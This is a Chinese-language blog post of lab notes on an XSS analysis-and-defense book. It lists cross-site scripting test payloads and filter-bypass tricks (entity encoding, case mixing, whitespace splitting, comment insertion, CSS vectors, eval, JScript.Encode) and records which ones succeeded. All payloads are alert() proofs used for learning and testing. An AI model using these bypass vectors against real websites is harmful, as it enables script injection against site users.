1. 程式人生 > >《xss跨站腳本剖析與防禦》實驗筆記

《xss跨站腳本剖析與防禦》實驗筆記

() 技術分享 ges image tro 漏洞 cnblogs xss漏洞 lis

1、書籍《xss跨站腳本剖析與防禦》上介紹的xss測試代碼

<img src="javascrpt:alert(‘xss‘);">,

<table background="javascrpt:alert(/xss/)"></table>

已經不能在多大數的瀏覽器上彈窗成功了

測試xss漏洞盡量改變習慣使用

<img src=1 oneRroR=alert(/XSS/)>

<img src=1 oneRroR=alert(‘XSS‘)>

<img src=1 oneRroR=alert("XSS")>

<img src="#" onerror=alert(‘xss‘)>

<img src="x"/**/onerror="javascript:alert(‘xss‘);">

<script>alert(‘XSS‘)</script>

<img src=# onerror="alert(‘XSS‘)"/>

<input type="text" value="x" onmouseover="alert(‘XSS‘)" />

<iframe src="javascript:alert(‘XSS‘)"></iframe>

<a href="javascript:alert(‘XSS‘)"> xss</a>

來測試,能勝任當前大多數瀏覽器版本。

2、使用空格、回車、tab鍵的方法繞過過濾

技術分享

<iframe src="java
script:al ert(1)" height=0 width=0 /><iframe> <!--Java和script是回車,al和ert是Tab換行符-->

實際測試成功

3、利用ASCII轉碼繞過過濾

<img src="x"/**/onerror="javascrip&#116&#58alert(‘xss‘);" >

<img src=1 onerror=alert(‘xss‘)> 轉換為 <img src=1 onerror=&#97&#108&#101&#114&#116&#40&#39&#120&#115&#115&#39&#41>

實際測試成功

4、產生事件

<input type="button" value="click me" onclick="alert(‘click me‘)" >

實際測試成功

5、利用CSS跨站

<div style="background-image:url(javascript:alert(‘XSS‘))">


<style>
body {background-image: url("javascript:alert(‘XSS‘)");}
</style>

<div style="list-style-image:url(javascript:alert(‘XSS‘))">

實際測試失敗

6、大小寫混淆

<img src="#" oneRroR=alert(‘xss‘)>

實際測試成功

7、半字轉為全字

<img src="#" onerror=alert(‘xss‘)>

實際驗證失敗

8、結合使用註釋字符幹擾

<img src="####/*******/####" onerror=alert(‘xss‘)>

實際測試成功

9、書上說在javascript中的eval()函數,可計算字符串,並執行其中的JavaScript代碼

<script>
eval("alert(‘XSS‘)");
</script>

按照書上說的轉碼為16進制

<script>
eval("\61\6c\65\72\74\28\27\58\53\53\27\29");
</script>

實際驗證失敗

10、Microsoft提供腳本加密機制,可以對腳本進行加密,能在IE下正常運行,在其他瀏覽器則無法識別

alert(1)使用JScript Encode加密結果為#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@

編寫exploit代碼

<script language="JScript.Encode">
#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@
</script>

在IE中執行,實際測試成功

《xss跨站腳本剖析與防禦》實驗筆記